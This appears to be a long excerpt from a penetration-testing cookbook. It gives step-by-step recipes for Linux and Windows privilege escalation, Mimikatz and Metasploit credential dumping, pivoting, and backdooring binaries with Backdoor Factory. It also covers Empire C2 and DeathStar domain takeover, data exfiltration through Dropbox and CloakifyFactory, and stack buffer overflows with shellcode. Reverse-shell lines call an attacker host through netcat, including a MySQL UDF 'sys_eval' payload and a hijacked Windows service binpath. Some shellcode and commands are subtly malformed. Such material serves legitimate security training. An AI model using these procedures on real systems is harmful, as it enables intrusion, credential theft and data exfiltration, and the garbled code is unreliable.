One more great script was made by **Arr0way** (<https://twitter.com/Arr0way>). He made it available on his blog at <https://highon.coffee/blog/linux-local-enumeration-script/>.

We can read the source code that's available on the blog to check out everything the script does:

# Horizontal escalation

We have already learned how to spawn a TTY shell by performing enumeration. In this recipe, we will look at some of the methods where horizontal escalation can be performed to gain more privileges on the system.

# How to do it...

Let's perform the following steps:

  1. Here, we have a situation where we have got a reverse shell, `www-data`.
  2. Run `sudo --list`. We will find that the user is allowed to open a configuration file as another user, `waldo`:

  3. We need to open up the file in the VI Editor. To get a shell in VI, we must type the following:

    **!bash**

After executing the `!bash` command, we get the following screen:

  4. We now have a shell with the `waldo` user. Our escalation was successful.
  5. In some cases, we may also find `authorized_keys` in the `ssh` directory or saved passwords that help us to perform horizontal escalation.

# Vertical escalation

In this recipe, we will look at ways in which we can gain access to a root account on a comprised box. The key to successful escalation is by gathering as much as information possible about the system.

# How to do it...

  1. The first step of rooting any box would be to check whether there are any publicly available local root exploits.
  2. We can use scripts such as **Linux Exploit Suggester** for this. It is a script that's built in Perl. We can specify the kernel version and it will show us the possible publicly available exploits we can use to gain root privileges.
  3. The script can be downloaded by using the following command:

    **git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git**

We can see the Linux Exploit Suggester in the following screenshot:

  4. Now, we will browse into the directory using the `cd` command:

    **cd Linux_Exploit_Suggester/**

  5. This is simple to use—we can find the kernel version by using the following command:

    **uname -a**

  6. We can also use the enumeration scripts we saw in the previous recipe.
  7. Once we have the version, we can use it with our script using the following command:

    **perl Linux_Exploit_Suggester.pl -k 2.6.18**

The output of running the preceding command is shown in the following screenshot:

  8. Let's try using one of the exploits. We will be using the latest one that came out, that is, DirtyCOW (<https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails>).
  9. The exploit's code can be seen on the exploit DB:

    **https://www.exploit-db.com/exploits/40839/**

You can see the exploit DB in the following screenshot:

  10. This particular exploit adds a new user to `etc/passwd` with root privileges.
  11. We can download the exploit and save it on the server's `/tmp` directory.
  12. It's written in C, so we can compile it using `gcc` on the server itself using the following command:

    **gcc -pthread dirty.c -o <outputname> -lcrypt **

The output of running the preceding command is shown in the following screenshot:

  13. We can `chmod` the file and give it executable permission using the following command:

    **chmod +x dirty**

  14. Then, we can run it using `/dirty`.
  15. We will lose our backconnect access but, if everything goes well, we can now SSH into the machine as the root with the username, `firefart`, and password, `firefart`.
  16. We will try the SSH using the following command:

    **ssh -l firefart <IP Address>**

The output of running the preceding command is shown in the following screenshot:

  17. DirtyCOW is a bit unstable, but we can use the following workaround to make it stable:

    **echo 0 > /proc/sys/vm/dirty_writeback_centisecs**

  18. Let's execute the command ID. We will see that we are now the root on the system:

Now, let's look at another method to achieve root access:

  1. In this situation, we will assume that we have a shell on the system and that the enumeration scripts we ran showed us that the MySQL process is running as root on the system:

  2. MySQL has a feature called **User-Defined Functions** ( **UDF** ). Let's look at a way to get to the root through UDF injection.
  3. We have two options: either to download the code and compile it on the compromised system or download some pre-compiled code from <https://github.com/mysqludf/lib_mysqludf_sys/blob/master/lib_mysqludf_sys.so>.
  4. Once we have downloaded the code, we log in to the database. Usually, people leave the default root password blank. You can also get it from the configuration files.

  5. Now, we will create a table and insert our file into the table using the following commands:

  6. For a Windows system. the commands are same—only the path to MySQL will be different.
  7. Now, we will create a function called `sys_eval`, which will allow us to run system commands as the `root` user:
    * For Windows, use this:

     CREATE FUNCTION sys_eval RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';

  6.     * For Linux, use this:

    CREATE FUNCTION sys_eval RETURNS integer SONAME 'mysqludf.so;

  8. Now, we can use `sys_eval` to do anything we want. For example, we can use the following code to backconnect:

    select sys_eval('nc -v <our IP our Port> -e /bin/bash');

  9. This will give us a reverse shell as root on the system:

  10. There are other ways to do this, such as adding our current user into the `sudoers` file. It's all up to your imagination.

# Node hopping – pivoting

Now that we are in one system on the network, we need to now look for other machines on the network. Information gathering here is going to be the same as what we did in the previous chapters. We can start by installing and using **Network Mapper** ( **Nmap** ) to look for other hosts and the applications or services that are running. In this recipe, we will learn about a few tricks to gain access to the port in the network.

# How to do it...

Let's assume we have shell access to a machine. Now, follow these steps to get started:

  1. We will run `ifconfig` and find that the machine is connected to two other networks internally:

  2. Now, we will Nmap scan the network and find some machines with a couple of ports open. We will learn about a cool way of pivoting into the network so that we can access the applications running behind other networks on our machine.

  3. We will do an `ssh` port forward by using the following command:

    **ssh -L <our port> <remote ip> <remote port> username@IP**

The output of running the preceding command is shown in the following screenshot:

  4. Once you've done the port forward, open any browser and visit the port number we used:

We will have access to the application running on the remote host.

# There's more...

There are other ways to port forward, for example, using proxy chains will help you dynamically forward the ports that are running on a server inside a different network subnet. Some of these techniques can be found at https://highon.coffee/blog/ssh-Meterpreter-pivoting-techniques/.

# Privilege escalation on Windows

In this recipe, we will learn about a few ways to get an administrator account on a Windows server. There are multiple ways to get administrator rights on a Windows system. Let's look at a few ways in which this can be done.

# How to do it...

Let's perform the following steps:

  1. Once we have Meterpreter on the system, Metasploit has a built-in module that we can use. We can use three different methods to get administrator access.
  2. First, we will see the infamous `getsystem` of Metasploit to view the system help. Use the following command:

    **getsystem -h**

The output of running the preceding command is shown in the following screenshot:

  3. To try and get the admin, type the following command:

    **getsystem**

The output of running the preceding command is shown in the following screenshot:

  4. We can see we are now `NT AUTHORITY\SYSTEM`.
  5. Sometimes, this technique may not work, so we need to try another way to get the system. Now, we will look at some ways to reconfigure Windows services.
  6. We can use `sc` to configure Windows services.
  7. Let's look at the `upnphost` service by running the following command:

    **sc qc upnphost**

The output of running the preceding command is shown in the following screenshot:

  8. We will upload our `netcat` binary on the system.
  9. Once we're done, we can now change the binary path of a running service with our binary:

    **sc config upnphost binpath= " <path to netcat>\nc.exe -nv <our IP> <our port> -e C:\WINDOWS\System32\cmd.exe"**

The output of running the preceding command is shown in the following screenshot:

    **sc config upnphost obj= ".\LocalSystem" password= ""**

The output of running the preceding command is shown in the following screenshot:

We can now confirm whether the changes have been made:

  10. Now, we need to restart the service. We should now have a back connection with admin privileges:

    **net start upnphost**

  11. Instead of `netcat`, we can also use the net user/add command to add a new admin user into the system and so on.
  12. Now, let's try another method. Metasploit has a lot of different local exploits for Windows exploitation. To view them, we need to type in the following into the msfconsole:

    **use exploit/windows/local <tab>**

The output of running the preceding command is shown in the following screenshot:

  13. We will use `kitrap0d` to exploit this:

    **use exploit/windows/local/ms10_015_kitrap0d**

  14. Now, we will set our Meterpreter session and payload:

  15. We then run `exploit`:

We have got the highest privilege (`NT AUTHORITY\SYSTEM`), as we can in the preceding screenshot.

  16. Let's use one more exploit, the infamous `bypassuac` exploit:

    **use exploit/windows/local/bypassuac**

  17. We will now set the session of the current Meterpreter that we have on our system:

    **set session 1**

  18. We should see a second Meterpreter with admin privileges open for us:

In the next recipe we will have a look at the Mimikatz tool.

# Pulling a plaintext password with Mimikatz

Now that we have a Meterpreter, we can use it to dump passwords from memory. Mimikatz is a great tool for doing this as defined by the creator of Mimikatz himself:

"It is made in C and make some experiments with Windows security. It's now well-known to extract plain text passwords, hashes, PIN codes, and Kerberos tickets from memory. Mimikatz can also perform pass-the-hash, pass-the-ticket, or build Golden tickets."

# How to do it...

Let's perform the following steps:

  1. Once we have the Meterpreter and system privileges, we can load up Mimikatz using the following command:

    **load mimikatz**

  2. To view all of the available options, type the following command:

    **help mimikatz**

The output of running the preceding command can be seen in the following screenshot:

  3. Now, to retrieve passwords from memory, we will use the built-in `msv` command of Metasploit:

    **msv**

The output of running the preceding command can be seen in the following screenshot:

  4. We can see that the **NT LAN Manager** ( **NTLM** ) has been shown on screen. To view Kerberos credentials, type in the following command:

    **kerberos**

The output of running the preceding command can be seen in the following screenshot:

If there were any credentials, they would have been shown in the preceding screenshot.

# Dumping other saved passwords from the machine

We have already learned about dumping and saving plaintext passwords from memory. However, sometimes, not all passwords are dumped. Not to worry—Metasploit has other post-exploitation modules that we can use to gather saved passwords of different applications and services running on the server we compromised.

# How to do it...

Let's perform the following steps:

  1. First, let's check what applications are running on the machine. We will use the following command:

    **use post/windows/gather/enum_applications**

The output of running the preceding command can be seen in the following screenshot:

  2. To view the available options, all we need is our session:

    **set session 1**
     **run**

  3. We will see a list of applications that have been installed on the system:

  4. Now that we know what applications are running, let's try to collect more information.
  5. Use the following command:

    **use post/windows/gather/enum_chrome**

  6. This command will gather browsing history, saved passwords, bookmarks, and so on. Again, we set our session and run it:

  7. We will see that all of the gathered data has been saved in a `.txt` file:

  8. Now, we will try to gather the stored configuration and credentials of the FileZilla server, which is installed on the machine. We will use the following command:

    **use post/windows/gather/credentials/filezilla_server**

The following screenshot shows the module name upon searching for it using the `search` command:

  9. We set the session and run it. We should see the saved credentials:

  10. Let's use another post exploitation module to dump the database passwords. We will use the following command:

    **use post/windows/gather/credentials/mssql_local_hashdump**

The output of running the preceding command can be seen in the following screenshot:

  11. We will set the session and run it. We will see the credentials on screen:

# Pivoting

Once we have complete control over one computer in the system, our next step should be to pivot into the network and try exploiting and gaining access to as many machines as possible. In this recipe, we will learn the easy way to do this: by using Metasploit.

# How to do it...

Metasploit has a built-in Meterpreter script that allows us to add routes and enables us to attack other machines in the network using the current one. Follow these steps to get started:

  1. The concept is really simple; all we have to do is run the following command:

    **run autoroute -s <IP subnet>**

The output of running the preceding command can be seen in the following screenshot:

  2. Once we're done, we can simply exploit the machines using the same methods that we covered in the previous recipes.

# Backdooring for persistance

An important part of a successful exploitation is to be able to keep access of the compromised machine. In this recipe, we will learn about an amazing tool known as the **Backdoor Factory** ( **BDF** ). The main goal of BDF is to patch Windows/Linux binaries with our shell code so that the executable runs normally, along with executing our shell code every time it executes.

# How to do it...

Let's perform the following steps:

  1. BDF comes installed with Kali. It can be run by using the following command:

    **backdoor-factory**

  2. To view all of the features of this tool, we will use the help command:

    **backdoor-factory -h**

The output of running the preceding command can be seen in the following screenshot:

  3. Using the tool isn't that hard, but it is recommended that the binaries are tested first before being deployed on the target system.
  4. To view what options are available for a particular binary, we can choose to backdoor using the following command:

    **backdoor-factory -f <path to binary> -s show**

The output of running the preceding command can be seen in the following screenshot:

  5. We will use `iat_reverse_tcp_stager_threaded`:

    **backdoor-factory -f <path to binary> -s iat_reverse_tcp_stager_threaded -H <our IP> -P <Port>**

The following screenshot shows the output of the preceding command:

  6. Next, we will choose the cave we want to use for injecting our payload:

  7. Our binary has been created and is ready to be deployed.
  8. Now, all we need to do is to run a handler that will accept the reverse connection from our payload:

  9. Now, when the `.exe` file is executed on the victim machine, Meterpreter will be connected:

# Age of Empire

As described on their official GitHub repository, _Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent_.

It is a merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically secure communications and flexible architecture.

It has the ability to run PowerShell agents without `powershell.exe`. It has lots of post-exploitation modules for data exfiltration and privilege escalation as well. The whole process of using the Empire framework can be defined in five phases, which are shown in the following diagram:

In this recipe, we will learn about the setup and basic usage of Empire.

# Getting ready

We need to download and install Empire on our OS. Before we jump into this recipe, let's quickly go through the installation of Empire:

  1. Download/clone the GitHub repository at <https://github.com/EmpireProject/Empire>.
  2. Next, we will move into the `setup` directory of Empire and run `install.sh` as `sudo` using the following command:

    **sudo ./install.sh**

The output of running the preceding command can be seen in the following screenshot:

  3. As we can see, the installation should complete successfully and Empire is now ready to run.

# How to do it...

We need root privileges to run Empire so that it can start the listeners on system ports as well. Follow these steps to get started:

  1. Execute the following command to run Empire with root privilege:

    **sudo ./empire**

The Empire framework will now load, as shown in the following screenshot:

**Phase 1 – listener initiation** : When using Empire, it is required to first configure a listener that will listen for incoming connections. A listener in Empire is just like a handler in Metasploit:

  1. To view a list of all active listeners, we will execute the following command:

    **listeners**

The output of running the preceding command can be seen in the following screenshot:

  2. We can execute the `help` command or `?` for options that are allowed in the `listeners` module:

  3. We don't have an active listener for now, but we can create one. To do this, we can use the `uselistener` command and give the type of listener as the argument:

  4. For now, let's choose an HTTP listener. We need to execute the following commands to configure the HTTP listener:

    **uselistener http**
     **info**

The output of running the preceding command can be seen in the following screenshot:

  5. By default, the HTTP listener will set the host and port automatically, but we can change this by using the `set` command. To see all of the available options, execute the `help` command or `?`, as shown in the following screenshot:

  6. Now that everything is in place, let's use the `execute` command to start the HTTP listener:

**Phase 2 – stager creation** : Once the listener is ready, we can now create a one-liner stager that will connect to the listener when executed:

  1. We will execute the `usestager` command to create a stager. The argument that's passed to the command is the type of stager we want to create:

  2. We will start with the default PowerShell launcher for now. The `multi/launcher` module in Empire can be used to generate stagers, all of which are supported in multiple OSes. Now, let's execute the following command to select the PowerShell launcher:

    **usestager multi/launcher**

The output of running the preceding command can be seen in the following screenshot:

  3. We can see the options that are required for the stager's creation by using the `info` command:

  4. Let's set the `Listener` option so that, once this stager is executed, it will connect to the HTTP listener that we created in the previous phase. Execute the following command to set the listener:

    **set Listener http**

The output of running the preceding command can be seen in the following screenshot:

  5. Now that the listener is embedded in the stager code, let's create the stager by using the `execute` command. This will give us a one-liner command:

**Phase 3 – stager execution** : In this phase, the one-liner command will start the staging process for Empire. This is done in three parts. A stager is executed on the target server requests, `Stage 0`, that is, a patched `stager.ps1`, which can be found in Empire's `data/agent/` directory:

  1. The launcher receives `Stage 0` and decrypts it. It then generates an RSA key pair and encrypts the RSA public key with the AES staging key and sends the encrypted RSA public key (`Stage 1`) to the Empire C2.
  2. Empire C2 receives the encrypted RSA public key and decrypts it using the staging key to save the key for further communication before sending the encrypted epoch time and session key to the target server. The target server gathers basic system information, encrypts this information using the newly received AES session key, and sends it back to the Empire C2 (`Stage 2`).
  3. When the stager is executed on the target server, the stager will call back to the Empire C2, requesting `Stage 1` and `Stage 2`:

**Phase 4 – acquiring agent** : When the stager is executed on the target system, the agent will connect back to the Empire listener. Follow these steps:

  1. We can view the active agents by using the `agents` command, as follows:

  2. Instead of using the `agents` command, we can also use the `list` command to see all of the available agents. However, this will only work if we are in the agent's menu (`Empire: agents`):

  3. To view more options in the agents menu, we can execute the `help` command or just `?`:

  4. We now have an active agent connected to our Empire C2, just like the Meterpreter session that's open in Metasploit. We can now interact with the agent for further post exploitation.

**Phase 5 – post module operations** : Once the agent is connected to the Empire C2, we can start with our post exploitation process using the Empire modules:

  1. We will now perform post exploitation on the Windows OS when the agent's security context is low. As demonstrated in the following screenshot, we have an agent that has low privileges (`high_integrity: 0`):

  2. We can elevate these privileges by using the privilege escalation modules in Empire. For this scenario, we will be using the `bypassuac_eventvwr` module. To execute this module, use the `bypassuac` command and the listener as the argument that's passed to `bypassuac_eventvwr`:

  3. The same thing can be achieved by using the following command:

    **usemodule privesc/bypassuac_eventvwr**

  4. Let's execute the `info` command to see the options that are available in this module:

  5. The `Listener` field is required here, so let's set up the listener as shown in the following screenshot:

  6. A new agent will be connected to the Empire C2 with a higher security context once the module is successfully executed:

  7. Let's look at another `mimikatz` module and use it to gather credentials. By default, Empire uses the Mimikatz log on passwords module. To execute Mimikatz, run the `mimikatz` command, as follows:

  8. Upon successful execution, the plaintext password will be retrieved and stored:

  9. Similarly, we can also perform post exploitation on Linux and OSX with Empire. Empire has 258 modules at the time of writing this book, and this number will keep on increasing as it continues to gain popularity.

# See also

Check out the PowerShell Empire documentation at <https://www.powershellempire.com/>.

# Automating Active Directory (AD) exploitation with DeathStar

The GitHub repository, <https://github.com/byt3bl33d3r/DeathStar>, states the following:

"DeathStar is a Python script that uses Empire's RESTful API to automate gaining domain admin rights in Active Directory environments using a variety of techniques."

In this recipe, we will learn about the usage of DeathStar to automate AD exploitation to gain control of the domain controller.

# How to do it...

Let's perform the following steps:

  1. Let's download and set up DeathStar. This is pretty easy to do, download the script from <https://github.com/byt3bl33d3r/DeathStar>.
  2. Next, we will install the necessary requirements using the following command:

    **pip install -r requirements.txt**

  3. To run DeathStar, we need to start Empire with a RESTful API. This can be achieved with the following command:

    **sudo ./empire --rest --username <username to access the API> --password <password to access the API>**

The output of running the preceding command can be seen in the following screenshot:

  4. Once Empire starts, we'll see the following message:

The message that's displayed in the previous screenshot indicates that the RESTful API is running on port `1337` TCP and that an API token has been allotted.

  5. Before starting DeathStar, let's make sure that we have an active agent in Empire:

  6. To run DeathStar, we will execute the following command:

    **./DeathStar.py -u username -p password**

The output of running the preceding command can be seen in the following screenshot:

DeathStar found that three users were logged in to the target server, one of which was a domain admin. DeathStar quickly ran lateral movement modules and the domain privilege escalation module to gain access:

DeathStar was able to get the credentials from memory for the administrator. It then enumerated the admin processes and found the domain admin credentials:

# See also

  * _Automating the Empire with the Death Star: Getting Domain Admin with a push of a button_ : <https://byt3bl33d3r.github.io/automating-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html>

DeathStar is just a tool that uses Empire post exploitation module scripts to get a domain admin account. In some cases, however, we don't get the account, so we have to perform manual lateral movement and try to exploit the internal network systems. We can then try different ways to gain access to the domain controller.

# Exfiltrating data through Dropbox

We have already learned about getting reverse shells on Empire and using Empire to achieve persistence on the system. The next step is data exfiltration.

Empire has a built-in module that allows us to upload data directly to Dropbox. This is very useful in situations in which IP whitelisting is done, as Dropbox is one of the domains that generally allows employee access.

In this recipe, we will learn about data exfiltration using Empire through the Dropbox API.

# How to do it...

Let's perform the following steps:

  1. Assuming we already have an agent connected to our Empire, we will interact with our agent and run the following command:

    **usemodule exfiltration/exfil_dropbox**

  2. To view the details of the module, use the `info` command, as shown in the following screenshot:

  3. We set the path of the file we wish to transfer and the Dropbox API key, along with the target filename:

  4. Once everything has been set up, we can execute the module, as shown in the following screenshot. The agent will then transfer the file to Dropbox using the Dropbox API. All of this is done inside the memory itself, thereby making it harder to detect:

  5. By viewing our Dropbox account, we can see that a folder has been created. Inside this folder, we should have our password file, which we want to transfer:

# Data exfiltration using CloakifyFactory

**CloakifyFactory** was developed by Joe Gervais (TryCatchHCF) and was presented at DEF CON 24. This tool hides the data in plain sight—it bypasses **Data Loss Prevention** ( **DLP** ), whitelisting controls, and antivirus detection. Blue team members already know what to look for when hunting for traces of attack in memory or in the network traffic. Cloakify defeats them all by transforming any file type into simple strings using text-based steganography.

In this recipe, we will learn about how to use this tool for data exfiltration.

# How to do it...

Let's perform the following steps:

  1. CloakifyFactory is open source and can be downloaded from GitHub at https://github.com/TryCatchHCF/Cloakify.
  2. Once the repository has been cloned, we can run the tool using the following command:

    **python cloakifyFactory.py**

The output of running the preceding command can be seen in the following screenshot:

  3. To view the help for this tool, we can type `5` and press _Enter_. This will display help and the basic usage of the tool, as shown here:

  4. Let's run the tool and cloak a file. In this example, we will cloak the `/etc/passwd` file of our system.
  5. To do this, we will choose `1` in the main menu and press _Enter_.
  6. We will then specify the filename to cloak and the output filename, as follows:

  7. Next, we will choose the ciphers that will be used to hide the data. CloakifyFactory has 24 built-in ciphers available, including texts in different languages, IP addresses, and even emojis, as shown in the following screenshot:

  8. In our case, we will choose `belgianBeers` as a cipher.
  9. Next, we are asked whether want to add noise. We can use the Add noise option to add entropy when cloaking a payload to help degrade frequency analysis attacks.

  10. We will type `n` for now, as shown in the following screenshot:

  11. When we preview the cloaked file, it will show a list of beers, as follows:

  12. Now, let's try and get the original file back from the cloaked one. We will run the tool again, choose option 2, and enter the filename, as well as the output filename, as follows:

  13. Next, we will choose the cipher (`belgianBeers`) that we used to cloak the file:

  14. By reading the output file, we can see that it's the `/etc/passwd` file, which we originally cloaked:

  15. It is not possible to clone the entire repository on the victim's machine, which is why the tool has `cloakify.py` as a standalone Python file. We can use this as follows:

    **python cloakify.py filename ciphername**

The following screenshot shows the output of the preceding command:

  16. In the preceding screenshot, we can see`/etc/passwd` cloaked as Hindi words. To decloak this, we have the decloakify option, which can be run by typing the following:

    **python decloakify.py /path/to/cloakedfile ciphername**

The output of running the preceding command can be seen in the following screenshot:

  17. When trying to exfiltrate data from a Windows machine, Python will not always be found on it, but `cloakify.py` can be compiled to a Windows standalone **executable file** ( **EXE** ), which can then be uploaded and executed on the system.

  18. Let's view an example of this now. On a victim machine, we will browse to the uploaded file and run the `cloakify.exe` command, as shown in the following screenshot:

  19. This output can be saved to a file and exfiltrated to our C2, where we can decloakify it to view the contents of the file.

# Buffer Overflows

In a software program, buffer overflow occurs when a program, while writing data to a buffer, overruns the buffer size allocated and starts overwriting data to adjacent memory locations.

A buffer can be considered a temporary area in the memory that's allocated to a program to store and retrieve data when needed.

Buffer overflows have been known to be exploited since long back.

When exploiting buffer overflows, our main focus is on overwriting control information so that the flow of control of the program changes, which will allow our code to take control of the program.

Here is a diagram that will give us a basic idea of an overflow in a buffer:

From the preceding diagram, we can assume that this is what a program looks like. Since it is a stack, it starts from the bottom and moves toward the top of the stack.

In the preceding diagram, we can also notice that the program has a fixed buffer to store 16 letters/bytes of data.

We first enter the eight characters ( _1 char = 1 byte_ ); on the right-hand side of the diagram, we can see that they have been written in the buffer of the program's memory.

Let's see what happens when we write 20 characters into the program:

Source: http://www.cbi.umn.edu/

We can see that the data is correctly written up to 16 characters, but the last 4 characters have now gone out of the buffer and have overwritten the values stored in the **Return Address** of the program. This is where a classic buffer overflow occurs.

Let's look at a live example; we will take the following sample code:

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    int main(int argc, char *argv[])
    {
        char buffer[5];
        if (argc < 2)
            {
                printf("strcpy() NOT executed....\n");
                printf("Syntax: %s <characters>\n", argv[0]);
                exit(0);
            }
        strcpy(buffer, argv[1]);
        printf("buffer content= %s\n", buffer);

        // you may want to try strcpy_s()
        printf("strcpy() executed...\n");
        return 0;
    }

The preceding program simply takes an input at runtime and copies it into a variable called `buffer`. We can see that the size of the variable buffer is set to `5`.

We now compile it using the following command:

    **gcc program.c -o program**

We need to be careful as `gcc` has built-in security features that prevent buffer overflows by default.

We run the program using the following command:

    **./program 1234**

We can see that it has stored the data and we get the output.

Let's run the program:

    **./program 12345**

We will see the program exit as a segmentation fault. This is the enabled security feature of `gcc`.

We will learn more about the return address in the following recipe. However, overwriting the return address with our own code can cause a program to behave differently from its usual execution and helps us to exploit its vulnerability.

Fuzzing is the easiest way to discover buffer overflows in a program. There are various fuzzers available in Kali, or we can write a custom script to make our own, depending on the type of program we have.

Once fuzzing is done and a crash occurs, our next step is to debug the program to find the exact part where a program crashes and how we can use it to our advantage.

Again, there are multiple debuggers available online. My personal favorite for Windows is Immunity Debugger (Immunity Inc.). Kali also comes with a built-in debugger, GDB. It is a command-line debugger.

Before we jump into more exciting topics, note that there are two types of overflows that usually happen in a program:

  * Stack-based overflows
  * Heap-based overflows

We will be covering these in more detail later in this chapter. For now, let's clear up some basics that will help us exploit overflow vulnerabilities.

In this chapter, we will cover the following recipes:

  * Exploiting stack-based buffer overflows
  * Exploiting buffer overflows on real software
  * SEH bypass
  * Exploiting egg hunters
  * An overview of ASLR and NX bypass

# Exploiting stack-based buffer overflows

Now that our basics are clear, let's move on to the exploitation of stack-based buffer overflows.

# How to do it...

The following steps demonstrate the stack-based buffer overflow:

  1. Let's take a look at another simple C program:

    #include<stdio.h>
    #include<string.h>
    void main(int argc, char *argv[])
    {
        char buf[120];
        strcpy(buf, argv[1]);
        printf(buf);
    }

This program uses a vulnerable `strcpy()` method. We save the program to a file.

  2. Compile the program with `gcc` using `fno-stack-protector` and `execstack`:

    **gcc -ggdb name.c -o name -fno-stack-protector -z execstack**

  3. Turn off address space randomization using the following code:

    **echo 0 > /proc/sys/kernel/randomize_va_space**

  4. Open our program in `gdb` using the following command:

    **gdb ./name**

The following screenshot shows the output of the preceding command:

  5. We supply our input with Python using the following command:

    **r $(python -c 'print "A"*124')**

The following screenshot shows the output of the preceding command:

  6. The program crashed and it shows the `0x41414141` error. This just means that the character we entered, `A`, has overwritten the EIP.
  7. We confirm this by typing `i r`. The value of the EIP register has been successfully overwritten:

  8. We find the exact byte that overwrites the EIP. We can do this by entering different characters in our program and then checking which of them overwrites the EIP.
  9. Run the program again, this time with different characters:

    **$(python -c 'print "A"*90+"B"*9+"C"*25')**

The following screenshot shows the output of the preceding command:

  10. The EIP has a value of `CCCC`. This implies that the bytes we need are somewhere in the last 25 characters we supply.

  11. Try different combinations of 124 characters until we get the position of the exact 4 characters that overwrite the EIP:

  12. Since we have found the exact location of the EIP, and in order to perform a successful exploitation, we need to overwrite these four bytes with the memory address where we will store our shellcode. We have about 100 bytes in the memory where `A` is stored currently, which is more than enough for our shellcode. So, we need to add breakpoints in our debugger, where it will stop before jumping to the next instruction.
  13. We list the program using the `list 8` command:

  14. We add our breakpoints in the line where the function is called and after it is called using `b <linenumber>`.

  15. Run the program again, and it will stop at the breakpoint:

  16. Press `c` to continue.
  17. Let's see the `esp` (stack pointer) register:

    **x/16x $esp**

The following screenshot shows the output of the preceding command:

  18. This shows us 16 bytes after the `esp` register, and on the left column, we will see the memory address that corresponds to the data being stored.
  19. The data starts at the `0xbffff190` address. We note the next memory address, `0xbfff1a0`. This is the address we will use to write in the EIP. When the program overwrites the EIP, it will make it jump to this address, where our shellcode will be stored:

  20. Let's try to open a shell by exploiting the overflow. We can find the shellcode that will execute a shell for us on Google:

  21. We have 100 bytes and our shellcode is 24 bytes. We can use this one in our exploit.
  22. Replace the instances of `A` with the `76` no-op assembly instruction (`0x90`) and the rest of the 24 bytes with the shellcode, then the instances of `B` with the memory address we want the EIP to point to, and the instances of `C` with the no-op code again. It should look as follows:

    **"\x90"*76+"\x6a\x0bx58x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\
     x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"
    +"\xa0\xff\xf1\xbf"+"\x90"*20**

  23. Rerun the program and pass the following as input:

    **r $(python -c print' "\x90"*76+"\x6a\x0bx58x31\xf6\x56\x68\
     x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\
    xcd\x80"+"\xa0\xff\xf1\xbf"+"\x90"*20')**

  24. Type `c` to continue from the breakpoints. Once the execution is done, our shell will execute.

# Exploiting buffer overflows on real software

Now that we have learned about the basics of exploitation, let's try this on some of the software that was already exploited long ago and make some public exploits available. In this recipe, we will learn about publicly available exploits for old software and create our own version of the exploit for it.

Before we begin, we will need an old version of a Windows OS (preferably Windows XP) and a debugger for Windows. I have used Immunity Debugger and old software with a known buffer overflow vulnerability. We will use _Easy RM to MP3 Converter_. This version had a buffer overflow vulnerability in playing large M3U files.

# Getting ready

The free version of Immunity Debugger can be downloaded at <https://www.immunityinc.com/products/debugger/>.

# How to do it...

Perform the following steps:

  1. Download and install the MP3 converter on the machine. This converter had a vulnerability in playing M3U files. The software crashed when a large file was opened for conversion with it.

  2. Let's create a file with about 30,000 instances of `A` written into it and save it as `<filename>.m3u`:

  3. Drag and drop the file into the player, and we will see that it crashes:

  4. We need to find the exact number of bytes that cause the crash.
  5. Typing so many instances of `A` manually in a file will take a lot of time, so we write a simple Python program to do that for us:

            import io
            a="A"*30000
            file =open("crash.m3u","w")
            file.write(a)
            file.close()

  6. Play around with bytes to find the exact value of the crash.
  7. In our case, it came out to be 26,105 as the program did not crash at 26,104 bytes:

  8. Run the debugger and attach our running converter program to it by navigating to File | Attach:

  9. Select the process name from the list of running programs:

  10. Once it is attached, we open our M3U file in the program. We will see a warning in the status bar of the debugger. We simply click on continue by pressing the _F9_ key or clicking on the play button from the top menu bar:

  11. The EIP was overwritten with instances of `A` and the program crashed:

  12. We need to find the exact four bytes that cause the crash. We will use the script from Kali known as _pattern create_. It generates a unique pattern for the number of bytes we want.

  13. We can find the path of the script using the `locate` command:

    **locate pattern_create**

The following screenshot shows the output of the preceding command:

  14. We have the path, so let's run the script and pass the number of bytes:

    **ruby /path/to/script/pattern_create.rb 5000**

  15. We used 5,000 because we already know it will not crash at 25,000, so we only create a pattern for the next 5,000 bytes.
  16. We have our unique pattern. We now paste this in our M3U file, along with 25,000 instances of `A`.
  17. Open up the application and attach the process to our debugger:

  18. Drag and drop our M3U file into the program.
  19. It crashes and we have our EIP overwritten with 42386b42.
  20. Metasploit has another great script to find the location of the offset:

    **ruby /path/to/script/pattern_offset.rb 5000**

  21. We have the offset match at `1104`. If we add it to the 25,000 instances of `A`, we know that EIP is overwritten after 26,104 bytes:

  22. We need to find a reliable way of jumping to the shellcode. We do this by simply writing extra random characters into the stack after EIP, making sure that the shellcode we write will be written properly into the memory.
  23. Run the program, attach it to the debugger, and let it crash.
  24. The EIP has been overwritten successfully. In the window in the bottom-right corner, we right-click and select Go to ESP:

  25. The ESP actually starts from the fifth byte. To make sure that our shellcode is executed properly, we need to make sure the shellcode starts after four bytes. We can insert four NOPs to fix this:

  26. Since we have control over EIP, there are multiple ways to execute our shellcode, and we will cover two of them here. The first one is simple: we find the `jmp esp` instruction in the code and overwrite the address with it. To do that, we right-click and navigate to Search for | All commands in all modules:

  27. Type the `jmp esp` instruction:

  28. In the results box, we can see our instruction, and we copy the address for our exploit:

  29. Let's write an exploit now. The basic concept would be `junk bytes + address of jump ESP + NOP bytes + Shellcode`:

  30. We can generate the shellcode of the calculator using the following command:

    **msfvenom windows/exec CMD=calc.exe R | msfencode -b
     '\x00\x0A\x0D' -t c**

  31. Run the exploit, and we should see the calculator open once the program crashes:

  32. Let's try another method: suppose there are no `jmp` esps available for us to use. In this case, we can use `push esp` and then use the `ret` instruction, which will move the pointer to the top of the stack and then call the `esp`.
  33. Repeat _Steps_ _1_ through _25_. Then, right-click and go to Search for | All sequences in all modules.
  34. Type `push esp ret`:

  35. In the result, we can see we have the sequence in the address, that is, `018F1D88`.

  36. Replace the EIP address in the exploit code with `018F1D88` and run the exploit, which should make a calculator pop up:

# SEH bypass

Before we start, we need to understand what SEH is. **SEH** stands for **structured exception handling**. We may have seen programs throw an error that says the software has encountered a problem and needs to close. This basically means it's the default exception handler of Windows kicking in.

